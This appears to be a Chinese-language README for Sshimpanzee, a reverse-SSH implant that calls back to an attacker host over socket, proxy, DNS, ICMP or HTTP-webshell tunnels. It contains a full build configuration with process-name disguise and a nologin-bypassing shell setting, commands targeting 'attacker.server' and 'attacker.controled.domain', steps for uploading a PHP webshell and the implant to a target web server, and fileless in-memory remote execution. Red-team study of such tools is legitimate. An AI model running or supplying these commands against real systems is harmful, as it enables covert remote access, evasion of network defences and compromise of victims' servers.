Sshimpanzee 允许你构建一个__静态的反向SSH服务器__。它不是监听端口等待连接,而是SSH服务器会主动发起反向连接到攻击者的IP,就像常规的反向shell一样。Sshimpanzee 让你能够利用__常规SSH连接的所有功能__,比如__端口转发、动态SOCKS代理或FTP服务器__。
更重要的是,如果从受害机器到攻击者服务器的直接连接不可行,它提供了不同的隧道机制,例如__DNS隧道、ICMP隧道或HTTP封装__。它还支持HTTP和SOCKS5代理。可在lexfo的博客上获取一篇技术论文。
sudo docker build . --output .
sudo docker build . --platform arm64 --output .
你可能需要启用环境变量 DOCKER_BUILDKIT=1
构建基于build.yaml文件进行:
###
# 这是 sshimpanzee 构建配置文件
# YAML 用于描述 sshimpanzee 应具有的行为和功能
###
### 通用配置
process_name: "sshimpanzee" # 进程在 ps 中显示的名称(但无法用此名称杀死进程)
banner: True # 是否在日志中显示横幅
verbose: 3 # 在 build/build.log 中记录的详细级别
shell: "/bin/sh" # 为用户弹出的默认 shell,绕过 /etc/passwd 中 shell 为 false 或 nologin 的条目
timer: 60*1000*1000 # 新的 sshimpanzee 子进程在退出后分叉前等待的时间(毫秒)。例如在 sock 模式下,前一个 sshd 连接死亡 1 分钟后会建立新的连接
keygen: True # 在构建期间重新生成密钥,确保使用新的 HOST 和 CLIENT 密钥
public_key: # 如果不重新生成新密钥,可以指定一个公钥进行身份验证(仅支持 ed25519 密钥)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"
make: True # 如果需要构建脚本生成 sshd 二进制文件,请保持为 true
force_clean_build: True # 目前 Docker 构建需要,将强制构建脚本重新编译隧道和依赖项
reconf: True # Docker 构建需要
### 环境
# sshimpanzee 在运行时通过环境变量配置,但也可以预设环境变量以获得默认行为
env:
if_not_set : # 这里的变量将在不存在时设置
REMOTE: 127.0.0.1
PORT: 8080
MODE: sock # MODE 环境变量用于管理默认隧道
overwrite: # 这里的变量将覆盖已存在的变量
### 隧道
# sshimpanzee 带有不同的隧道机制
# 为了加快编译速度,更重要的是获得更轻量的二进制文件,可以包含或排除某些隧道
# 可以在此处指定隧道编译参数
tun:
sock:
enabled: True
icmp:
enabled: True
buildserv: True # 是否构建相应的 ICMPTunnel 服务器
raw_sock: False # 是否构建对旧内核原始套接字的支持
http_enc :
enabled: True
key: # webshell 密钥,空将生成新密钥
target:
- "php" # 要为其生成 webshell 的语言列表
path_fd: "/dev/shm/sshim" # sshimpanzee 用于与 webshell 通信的 FIFO
dns:
enabled: True
resource: sshimpanzee # DNS2TCP 资源
key: sshimpanzee # DNS2TCP 密钥
obfuscate: True # 混淆 DNS2TCP 魔数,这将强制构建相应的服务器
buildserv: False
qtype: TXT # DNS2TCP 使用的查询类型
proxysock:
enabled: True
no_build:
enabled: False
path: []
# Openssh 子系统
# man sshd_config Subsystems
subsystems:
internal_sftp: # openssh 提供的标准 sftp
enabled: True # scp 和 sftp 需要
name: sftp
exec: internal-sftp
is_internal: True
remote_exec: # Sshimpanzee 自定义子系统
enabled: True # 使用无文件 memfd 技术进行远程执行
name: remote-exec
exec: internal-remote-exec
is_internal: True
python: # 标准 ssh 子系统示例
enabled: False
name: python
exec: /usr/bin/python -c "print('python code')"
is_internal: False
运行时,sshimpanzee 二进制文件通过环境变量进行配置。
MODE 变量允许用户选择编译好的隧道。
每个隧道都可以通过环境变量进行配置。
例如,要获得一个反向连接到 127.0.0.1:8080 的经典连接,请使用以下命令:
MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee
可以使用 -d 参数在调试模式下运行 sshimpanzee。 在调试模式下,sshimpanzee 将保持在前台。
目前 sshimpanzee 支持植入体连接到攻击者 SSH 客户端的多种方式:
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee
其他示例:
MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee # 绑定并监听 127.0.0.1:8080
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # 连接到 Unix 套接字 /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # 绑定并监听 Unix 套接字 /tmp/sock
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee
其他示例:
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080
sudo ./dns2tcpd -F -f dns2tcpdrc
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee
其他示例:
MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # 强制使用 8.8.8.8 DNS 解析器
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
ssh i -oProxyCommand=./icmptunnel -i test/CLIENT
MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee
将文件 /tuns/http_enc/proxy.php 和 sshd 文件上传到目标 web 服务器
确保 proxy.php 能正确执行
在 web 服务器上运行 sshd 二进制文件
MODE=http_enc ./sshimpanzee
ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT
可以向 proxy_cli.py 传递多个参数以添加代理。 目前仅支持 PHP。在 JSP 服务器上,建议使用:A Black Path Toward The Sun (ABPTTS)
Proxy.php 是一个最小的 webshell,你可以用它上传 sshd 到服务器并执行命令。proxy_cli.py 提供了 --run 和 --drop 选项来实现这一点。
你可能会遇到明显的输入延迟,这是因为 SSH 客户端发送的每个数据包会额外延迟 1 到 5 秒,以防止生成过多的 HTTP 请求。如果你不介意生成大量 HTTP 请求(从而在 web 服务器上产生大量日志),请在 proxy_cli.py 命令中添加 --no-buffer 选项。
此仓库还提供了一个客户端,位于 utils/client/bin。 只需将 CLIENT 密钥复制到 utils/client/keys/ 中:
sshimpanzee --new PORT # 在 PORT 上创建一个新的监听器
sshimpanzee --new-dns # 创建一个新的 DNS 监听器(别忘了修改 utils/client/config/dnsconf.txt)
sshimpanzee --new-icmp # 创建一个新的 icmp 监听器
sshimpanzee --new-http PROXY_PHP_URL # 创建一个新的 HTTP 会话
sshimpanzee --list # 列出可用会话
sshimpanzee --get SESSION_NUMBER # 进入一个会话,任何额外参数都将作为 ssh 参数传递
sshimpanzee --rename SESSION_NUMBER # 重命名一个会话
sshimpanzee --kill SESSION_NUMBER # 杀死一个会话
sshimpanzee # 使用 fzf 选择你想要进入的会话
但它的可靠性可能不如直接使用 ssh。
所有隧道都在 tuns/ 目录中。如果你想添加另一个隧道,只需在 tuns/builder.py 中添加一个以隧道名称命名的函数。该函数负责生成一个包含多个 .o 文件的 libtun.a 归档文件,其中至少有一个文件导出 tun() 符号。 或者,你可以自行构建 libtun.a,并使用名为 no_build 的隧道,并提供自定义 libtun.a 的路径。
如果 sshimpanzee 是使用 remote-exec 子系统模块构建的,则可以在内存中完全远程执行代码。
python remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1
此仓库依赖于许多不同的项目。
对于隧道:
需要强调的是,这不是一个非常原创的项目,利用 SSH 协议进行武器化已经在几年前实现过: